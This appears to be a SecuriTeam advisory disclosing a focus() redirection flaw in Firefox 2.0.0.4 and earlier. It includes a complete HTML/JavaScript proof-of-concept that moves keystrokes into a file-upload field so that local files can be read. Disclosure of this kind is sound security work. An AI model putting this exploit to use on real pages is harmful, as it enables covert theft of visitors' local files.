SecuriTeam - Mozilla Firefox focus() Redirection Vulnerability

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CanSecWest 2012

2nd Annual Cyber Security

Hack In Paris

A vulnerability in Mozilla Firefox allows the attacker to silently redirect focus of selected key press events to an otherwise protected file upload form field. This is possible because of how onKeyDown event is handled, allowing the focus to be moved between the two. This enables the attacker to read arbitrary files on victim's system.

Credit:
The information has been provided by carl hardwick.
The original article can be found at: http://yathong.googlepages.com/FirefoxFocusBug.html

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Vulnerable Systems:
* Mozilla Firefox version 2.0.0.4 and prior

Exploit:
<html>
<body>
<script>
function restore()
{
document.getElementById("text1").value=document.getElementById("file1").value;
document.getElementById("text1").focus();
}

function doKeyDown()
{
document.getElementById("label1").focus();
}
</script>

<input type="file" id="file1" name="file1" onkeydown="restore();" onkeyup="restore()" />
<label for="file1" id="label1" name="label1"></label>
<br>
<textarea name="text1" id="text1" onkeydown="doKeyDown()">
</textarea>
</body>
</html>

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